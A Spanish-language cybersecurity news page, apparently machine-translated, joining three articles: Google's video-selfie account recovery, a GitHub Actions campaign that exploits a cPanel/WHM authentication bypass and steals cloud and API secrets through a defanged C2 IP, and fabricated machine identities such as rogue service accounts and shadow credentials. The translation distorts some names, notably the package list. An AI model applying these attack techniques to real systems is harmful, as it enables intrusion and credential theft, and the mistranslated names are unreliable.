Google anunció el jueves una nueva forma para que los usuarios inicien sesión en sus cuentas permitiéndoles tomar un video selfie.

El selfie para iniciar sesiónsegún el gigante tecnológico, es otra opción además de los métodos de recuperación existentes para iniciar sesión en una cuenta, incluida una dirección de correo electrónico o un número de teléfono. La idea es utilizar un video selfie como una forma de recuperar el acceso si un usuario alguna vez queda bloqueado o no tiene acceso a su teléfono o computadora habitual.

Como parte del proceso, los usuarios deben configurar un video selfie con solo mirar a la cámara del dispositivo y completar «algunos movimientos cortos y guiados de la cabeza» para capturar su rostro desde diferentes ángulos.

Si los usuarios tienen algún problema para iniciar sesión en sus cuentas con el método selfie en una etapa posterior, pueden tomar otra selfie para volver a iniciar sesión. «El video selfie compara el nuevo video con el que configuró para confirmar que realmente es usted y ayudarlo a regresar a su cuenta», dijo Google en un publicación de blog compartido con The Hacker News.

El gigante tecnológico también enfatizó que la función es totalmente voluntaria y que los usuarios tienen el control total de la función, agregando que se puede eliminar de la cuenta en cualquier momento.

Ciberseguridad

Según un documento de ayudala función está diseñada con tres propósitos clave:

  • Ayude a los usuarios a volver a ingresar a su cuenta si no pueden iniciar sesión.
  • Desbloquee más funciones o servicios, cuando se le solicite, verificando que un usuario sea una persona real y que no haya violado las políticas de Google.
  • Permita a los usuarios crear un avatar para crear contenido de IA que se vea y suene como ellos mismos.

Dicho esto, la opción de video selfie para iniciar sesión no está disponible para cuentas de Google Workspace, cuentas infantiles y cuentas de Google inscritas en el Programa de protección avanzada.

«No puedes agregar un video de selfie mientras estás bloqueado en tu cuenta o en el proceso de recuperación de la cuenta», señaló también Google.

En caso de que un usuario no pueda iniciar sesión en su cuenta, es posible que se le solicite que grabe un video corto de su rostro para confirmar que la cuenta le pertenece. Luego, el video recién capturado se compara con el video selfie agregado por el usuario a su cuenta. Si las caras coinciden, se verificará su identidad y les permitirá recuperar el acceso a la cuenta.

«El video selfie que guardó en su cuenta de Google se comparará con el video selfie que tome para iniciar sesión en su cuenta», advierte Google. «Si hay cambios significativos en tu apariencia facial, actualiza el video selfie que guardaste en tu cuenta».

Además de almacenar el vídeo selfie en formato cifrado en reposo, se utiliza únicamente con el fin de ayudar a los usuarios a iniciar sesión en sus cuentas, a menos que opten por compartirlo para otros casos de uso. Los datos pueden «ayudar a los esfuerzos continuos para desarrollar y mejorar el reconocimiento facial, la estimación de la edad y otros métodos de verificación que pueden utilizar sus características físicas o movimiento», según Google.

Ciberseguridad

Los usuarios pueden cambiar esta configuración en cualquier momento siguiendo los pasos a continuación:

  • En la cuenta de Google, vaya a la página del video Selfie (myaccount.google[.]com/video-verificación)
  • Activa o desactiva Mejorar los servicios de Google (opcional)

La divulgación se produce cuando Google Cloud Fraud Defense ha anunciado un nuevo sistema de verificación de gestos con las manos que pide a los usuarios que realicen gestos simples con las manos a través de la cámara de su dispositivo para completar las comprobaciones de reCAPTCHA, lo que marca un alejamiento de los desafíos tradicionales basados ​​en imágenes para abordar el tráfico de bots automatizados.

La tecnología de detección de vida solicita a los usuarios que realicen movimientos básicos de las manos mientras la cámara está encendida con el objetivo de extraer datos de puntos de referencia de las manos. Esto incluye 21 coordenadas de nudillos.

«Los videos nunca se asocian con la identidad de un usuario y se eliminan después del proceso de verificación», dijo la compañía. «Google no conserva ninguna imagen o vídeo de los gestos con las manos de un usuario más allá del proceso de verificación ni utiliza los datos para ningún otro propósito».

Los atacantes utilizan los ejecutores de acciones de GitHub como armas para apuntar a los servidores cPanel y WHM – CYBERDEFENSA.MX

Los investigadores de ciberseguridad han arrojar luz en una campaña a gran escala que se ha convertido repositorios de GitHub comprometidos en una infraestructura de ataque distribuida diseñada para atacar instancias de cPanel y WebHost Manager (WHM).

La actividad involucra versiones de desarrollo maliciosas de Packagist que abarcan 10 paquetes asociados con un desarrollador legítimo de PHP y DevOps, dinushchathurya, entre el 12 y el 13 de julio de 2026. La lista de paquetes de Packagist afectados se encuentra a continuación:

  • dinushchathurya/lista de nacionalidades
  • dinushchathurya/secretarías-divisionales-de-srilanca
  • dinushchathurya/divisiones-gn-de-srilanka
  • dinushchathurya/autoridades-locales-de-srilanca
  • dinushchathurya/validador-de-número-móvil-de-srilanca
  • dinushchathurya/hospitales-estatales-de-srilanca
  • dinushchathurya/universidades-de-srilanca
  • dinushchathurya/validador-de-número-móvil-del-reino Unido
  • dinushchathurya/código postal del Reino Unido
  • dinushchathurya/websmslk

«Las bibliotecas PHP no eran la ruta de ejecución», dijo Socket en un comunicado. «Los atacantes habían agregado docenas de flujos de trabajo maliciosos de GitHub Actions a los repositorios de origen del mantenedor comprometido».

Ciberseguridad

Los flujos de trabajo, una vez activados por una inserción del repositorio o una ejecución manual, inician ejecutores alojados en GitHub, descargan una carga útil de Linux desde la infraestructura controlada por el atacante y buscan servidores cPanel y WHM vulnerables susceptibles a CVE-2026-41940, una vulnerabilidad de omisión de autenticación que permite a atacantes remotos obtener un control elevado del panel de control.

La carga útil, por su parte, intenta omitir la autenticación y luego procede a recopilar credenciales, archivos de configuración, variables de entorno, acceso a bases de datos, material SSH, tokens Git, claves de nube, credenciales de servicios de pago y otros secretos valiosos.

Aún no está claro el método exacto por el cual el actor de amenazas obtuvo acceso no autorizado a la cuenta del desarrollador e impulsó cambios maliciosos en los repositorios.

«Entre el 12 y el 13 de julio de 2026, Packagist sincronizó automáticamente versiones de desarrollo maliciosas en los diez paquetes asociados con el desarrollador comprometido, lo que refleja los cambios que el actor de amenazas impulsó a los repositorios de GitHub del desarrollador», dijo el investigador de Socket Kirill Boychenko.

Se ha descubierto que cada una de las versiones de desarrollo afectadas contiene entre 55 y 62 archivos de flujo de trabajo maliciosos de GitHub Actions, con un total de 583 archivos en las diez versiones del paquete.

Específicamente, los archivos de automatización YAML inician ejecutores alojados en GitHub cuando el repositorio comprometido recibe un impulso o cuando el flujo de trabajo se inicia manualmente, detectan la arquitectura del procesador de cada ejecutor (por ejemplo, sistemas x86 de 32 bits, x86 de 64 bits, ARM de 32 bits y ARM de 64 bits) y descargan una carga útil de exploración y explotación de Linux compatible desde el servidor de comando y control (C2) en 43.228.157[.]68.

«Los flujos de trabajo informan continuamente el estado de ejecución al actor de la amenaza y cargan los resultados recién recopilados a través de solicitudes HTTP POST», añadió Boychenko. «Los archivos de salida que monitorean incluyen credenciales de AWS, tokens de GitHub y GitLab, credenciales de API de OpenAI y Google, claves de Stripe, credenciales de SendGrid y Mailgun, información de bases de datos, datos SSH, controles remotos de Git y resultados de ejecución remota de código».

A diferencia de otras campañas tradicionales de paquetes maliciosos, la actividad más reciente no depende de los sistemas de los usuarios del paquete. En cambio, el escaneo y la explotación se ejecutan en ejecutores alojados en GitHub lanzados desde repositorios comprometidos, lo que significa que se abusa de GitHub Actions para impulsar una campaña de explotación destinada a buscar servidores cPanel y WHM vulnerables.

Los signos apuntan a una campaña más amplia que se extiende más allá de un mantenedor de PHP, con aproximadamente 6.100 archivos de flujo de trabajo alojados en GitHub que contienen un identificador DNSHook único («f5b0b742-240a-4811-8a5b-b0ba6060685d»).

Socket describió la campaña como un caso de «operación oportunista de robo de credenciales del lado del servidor», que permite a los atacantes aprovechar los datos robados para posteriores compromisos o vías de monetización.

La divulgación se produce cuando la empresa de seguridad de aplicaciones también detalló una campaña con el nombre en código Operación Muck and Load que abusa de una red de 200 repositorios de GitHub en 190 cuentas para entregar malware basado en Windows, incluidos ladrones de información, cargadores y descargadores, droppers, spyware, troyanos de acceso remoto y mineros de criptomonedas Monero.

Ciberseguridad

Los repositorios, algunos de los cuales se hacen pasar por utilidades de desarrollador e integraciones de billeteras de criptomonedas, ocultan una cadena de ataque de varias etapas que descarga un script de PowerShell responsable de consultar varios sitios de entrega muerta como Pastebin, Rlim, Telegram, YouTube, Instagram, Google Docs y Gitcode para recuperar un archivo protegido con contraseña alojado en GitHub, desde el cual se extrae y lanza la carga útil principal.

«Los repositorios de GitHub en este grupo no eran sólo señuelos», dijo Boychenko. «Varios también funcionaron como repositorios de malware, incorporando cargas útiles maliciosas directamente en el árbol de origen o entregándolas a través de activos de lanzamiento de GitHub».

La actividad comparte superposiciones tácticas con la actividad previamente observada asociada con el «ischhfd83@rambler[.]ru», que ha sido rastreada bajo el nombre de Water Curse por Trend Micro. Se evalúa que el grupo de amenazas opera una red fantasma basada en GitHub para redirigir a los usuarios desprevenidos a páginas de GitHub que albergan cargas útiles con malware.

«Este modelo ofrece a los actores de amenazas una forma escalable de convertir el descubrimiento de software ordinario en una puesta en escena de malware, especialmente cuando los señuelos se dirigen a usuarios que ya están inclinados a ejecutar herramientas que no son de confianza, como la automatización de criptomonedas, utilidades de billetera, trampas de juegos, criptadores y herramientas ofensivas», dijo Socket.

Cómo llega el fraude de identidad sintético a las identidades de máquinas – CYBERDEFENSA.MX

La mayoría de las personas entienden el robo de identidad como un atacante que roba información confidencial de una persona real y se hace pasar por ella. El fraude de identidad sintético es mucho más difícil de detectar. En lugar de robar una identidad real, el atacante fabrica una nueva, uniendo varios puntos de datos reales con otros inventados para crear una persona que no existe. Dado que ninguna víctima real monitorea el uso indebido, una identidad falsa puede acumular silenciosamente permisos y credibilidad con el tiempo antes de ser detectada. Este mismo principio tiene un paralelo en gran medida inexplorado con las identidades no humanas (NHI).

Los equipos de seguridad están realizando importantes esfuerzos para proteger los NHI contra el robo. Aún así, rara vez se analiza el equivalente del fraude de identidad sintético en el lado de las máquinas: identidades que nunca fueron proporcionadas legítimamente desde el principio. Siguiendo este enfoque, un atacante no secuestra una cuenta de servicio existente, sino que fabrica una, mezclando atributos ambientales reales con otros falsos para que parezca pertenecer. A medida que las empresas acumulan NHI más rápido de lo que pueden rastrearlos, uno fabricado puede colarse fácilmente en la mezcla si la gobernanza es débil y no hay propiedad humana.

Cómo se ve el fraude de identidad sintético para las identidades de las máquinas

Para los seres humanos, el fraude de identidad sintético se entiende bien como una identidad ensamblada, no robada, para pasar controles sin conectarse con ninguna persona real. La misma construcción funciona contra las identidades de las máquinas, pero la mayoría de las organizaciones se centran en credenciales de NHI robadas en lugar de identidades fabricadas. Con identidades de máquinas fabricadas, un atacante no toma prestada una identidad real, sino que crea una que nunca se suponía que existiera. En lugar de iniciar sesión como una cuenta de servicio legítima, el atacante registra una nueva identidad de nivel de administrador con una estructura de nombres similar, le otorga privilegios y la deja pasar desapercibida. Dado que no se secuestra nada, no hay ningún usuario comprometido al que alertar ni ningún comportamiento sospechoso que señalar.

Lo que hace que estas identidades sean convincentes es la combinación de atributos reales e inventados. Un NHI fabricado hereda las convenciones de nomenclatura de su entorno, existe en el dominio correcto, lleva metadatos que parecen plausibles y solicita los tipos de permisos que otros NHI ya tienen. Para un administrador que hojea un directorio de decenas de miles de cuentas de servicio, es simplemente una carga de trabajo rutinaria más, razón por la cual ésta es una de las Riesgos del NHI que más se pasan por alto.

Cómo se construyen las identidades de máquinas fabricadas

Ninguna de las técnicas que utilizan los atacantes para crear identidades de máquinas falsas es nueva. Lo nuevo, sin embargo, es verlos como un patrón de inserción de una identidad aparentemente creíble pero ilegítima en un entorno predispuesto a confiar en ella. En la práctica, los atacantes crean identidades de máquinas fabricadas de varias formas principales:

  • Cuenta de servicio fraudulenta: En lugar de comprometer una cuenta que ya existe, un atacante que ha obtenido acceso crea una nueva cuenta que aspecto como uno existente, con atributos de apariencia similar y acceso permanente. Una cuenta que nunca fue sancionada pero que se comporta como tal es la forma más pura de una identidad de máquina fabricada.
  • DCSombra: Al operar a nivel de infraestructura, un atacante no fabrica una cuenta sino más bien una fuente completa de autoridad. Debido a que depende de los derechos de administrador de dominio que el atacante ya posee, es un movimiento posterior al compromiso más que una forma de entrada: el atacante registra temporalmente un controlador de dominio no autorizado para que los cambios maliciosos parezcan tráfico de replicación legítimo de un par confiable. Una vez que se acepta esa infraestructura suplantada, cualquier cosa que impulse hereda la propia credibilidad del sistema.
  • Credenciales en la sombra: Un atacante implanta una autenticación fabricada en un objeto existente, inyectando material controlado por el atacante para que pueda autenticarse como ese objeto a voluntad. Dado que la identidad ya existe y parece intacta, éste es el medio más sutil de demostrar que una identidad ha sido forjada silenciosamente.

Si bien los mecanismos difieren, todos implican una identidad ilegítima que el entorno ha aceptado como propia. Es importante separar esto de una idea relacionada llamada persona sintéticadefinido por el NHI Management Group como una identidad fabricada creada para parecer creíble ante gente y se utiliza para engañar a usuarios humanos a través de perfiles falsos y tácticas de ingeniería social. Eso es lo contrario de una identidad de máquina fabricada, que no es un humano falso destinado a engañar a la gente, sino una máquina falsa que vive dentro de sistemas, tiene privilegios reales y no responde ante nadie.

La falta de atención que recibe este equivalente del lado de la máquina es lo que lo hace tan peligroso. Las identidades de máquinas fabricadas pueden evadir la detección creada para identificar las robadas porque el verdadero propietario de una identidad robada puede notar un inicio de sesión desde un lugar desconocido o recibir una alerta de la web oscura. Mientras tanto, una identidad fabricada sin propietario no generará ninguna alarma sobre comportamientos sospechosos, secretos filtrados o cualquier cosa digna de mención. Dado que los NHI están creciendo rápidamente a un ritmo que supera en número a los usuarios humanos, es posible que las empresas no noten una identidad no monitoreada como un valor atípico si oculta y acumula permisos silenciosamente.

Por qué la IA agente hace que esto sea más oportuno

Hasta hace poco, fabricar la identidad de una máquina requería que un atacante ingresara a un sistema, creara una cuenta falsa y asignara sus privilegios manualmente. La IA agente está empezando a eliminar esa fricción. Los agentes de IA ya adquieren credenciales dinámicamente en tiempo de ejecución y son cada vez más capaces de activar otros agentes con identidades propias. A medida que la creación de identidades por máquinas se convierte en una actividad automatizada en segundo plano, la línea entre una identidad creada legítimamente y una fabricada comienza a desdibujarse.

Cómo defenderse de las identidades de máquinas sintéticas

Si las identidades fabricadas pasan desapercibidas, las organizaciones no pueden esperar protegerse detectando manualmente cada una de ellas. Una gobernanza sólida garantiza que las identidades fabricadas no puedan mezclarse, acumularse o persistir desde el principio.

Asignar la propiedad de cada NHI

Lo que permite que una identidad fabricada sobreviva es el hecho de que nadie sabe cómo controlarla. Cada NHI debe tener un propietario humano registrado, un propósito documentado y una fecha de vencimiento, eliminando la posibilidad de que las identidades permanezcan permanentes por defecto. Una identidad de máquina con un propietario garantiza que alguien rinda cuentas y ayuda a proteger las identidades legítimas en el proceso.

Rotar secretos

Varias técnicas de fabricación tienen éxito al inyectar credenciales ocultas en un objeto existente, donde un atacante deja claves que controla para autenticarse a voluntad. La gestión centralizada de secretos con rotación automatizada corta esos caminos. Cada secreto abovedado, rastreado y rotado prohíbe que una credencial inyectada o fabricada tenga una vida útil prolongada. Las organizaciones deben intentar dejar a los atacantes en una posición en la que no puedan anclar la autenticación de una identidad fabricada.

Hacer cumplir el privilegio mínimo

Las identidades fabricadas introducen importantes riesgos de seguridad debido a lo que pueden alcanzar y el acceso permanente que tienen las cuentas de servicio típicas. Las organizaciones que imponen el acceso con privilegios mínimos y el acceso justo a tiempo (JIT) minimizan el impacto de las identidades fabricadas en todos los entornos. Si una identidad posee sólo los permisos que necesita durante el tiempo que los necesite, entonces una identidad fabricada heredará una ventana pequeña y de tiempo limitado en lugar de acceso permanente. Esto limita el daño que puede causar cualquier identidad, real o falsa, por lo que es eficaz contra amenazas que las organizaciones tal vez ni siquiera hayan detectado.

Verificar continuamente el comportamiento

La principal ventaja de una identidad fabricada es que parece legítima desde su creación, con el nombre correcto, metadatos plausibles y el dominio correcto. Si la confianza se establece solo una vez durante el aprovisionamiento, será menos probable que las organizaciones noten actividad inusual. La verificación continua cambia la base de la confianza de las credenciales en el momento de la creación al comportamiento a lo largo del tiempo, basándose en lo que realmente hace la identidad y a qué accede. Verificar continuamente el comportamiento es la forma en que las organizaciones pueden detectar más fácilmente las identidades falsas que fueron lo suficientemente convincentes para ingresar.

Cuenta de las falsificaciones en seguridad de identidad

Proteger las identidades ha significado proteger las identidades reales de la explotación. Si bien sigue siendo importante rotar las credenciales filtradas y bloquear las cuentas comprometidas, eso supone que se supone que todas las identidades en un entorno están ahí. Las organizaciones deben ser capaces de detectar identidades que nunca fueron creadas legítimamente pero que se comportan como si fueran reales. La seguridad de la identidad de las máquinas exige que cada identidad sea propiedad de cada identidad, que cada secreto sea de corta duración y que cada comportamiento sea monitoreado de cerca, todo lo cual se puede hacer desde una plataforma de seguridad de identidad como GuardiánPAM®. Al gestionar la propiedad, los secretos y el acceso privilegiado, las organizaciones tienen más posibilidades de eliminar los escondites de identidad fabricados y garantizar que nada se pueda acumular.

Nota: Este artículo fue escrito cuidadosamente y contribuido para nuestra audiencia por Ashley D’Andrea, redactora de contenido de Keeper Security.

¿Encontró interesante este artículo? Este artículo es una contribución de uno de nuestros valiosos socios. Síguenos en noticias de google, Gorjeo y LinkedIn para leer más contenido exclusivo que publicamos.